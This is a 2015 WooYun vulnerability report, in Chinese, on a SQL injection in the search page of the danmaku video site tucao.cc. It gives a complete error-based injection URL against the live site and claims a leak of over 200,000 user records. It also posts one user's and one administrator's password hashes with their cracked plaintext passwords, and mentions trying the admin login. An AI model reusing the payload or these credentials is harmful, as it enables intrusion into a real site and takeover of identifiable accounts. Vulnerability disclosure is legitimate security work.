漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0131213
漏洞标题：吐槽弹幕网SQL注入漏洞(20W+用户泄漏\成功进入后台)
相关厂商：吐槽弹幕网
漏洞作者： 渔村安全实验室
提交时间：2015-08-03 09:32
修复时间：2015-09-17 09:34
公开时间：2015-09-17 09:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-03： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-09-17： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
详细说明：
http://www.tucao.cc/index.php?m=search&c=index&a=init2&catid=24&time=all&order=inputtime&username=&tag=&q=十万个冷笑话&page=0
inputtime参数存在注入，可报错注入
payload:
http://www.tucao.cc/index.php?m=search&c=index&a=init2&catid=24&time=all&order=inputtime OR (SELECT 4203 FROM(SELECT COUNT(*),CONCAT(0x7e21,database(),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) &username=&tag=&q=十万个冷笑话&page=0
20W+个人用户信息泄露
部分个人信息：
随便拿个账号测试下
账号名：[email protected]
密码（MD5）：b460f403799d7f9ed5ce7fbb0073a06f
密码（解密）：75164253
除了用户数据外，还有全部的管理员账号信息也暴出来了
扫下后台登录试试
账号名：陌如七茶
密码（MD5）：4ca9122221f9a89737fce596b9b9060e
解密：522604
漏洞证明：
修复方案：
你比我懂
版权声明：转载请注明来源 渔村安全实验室@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：15 (WooYun评价)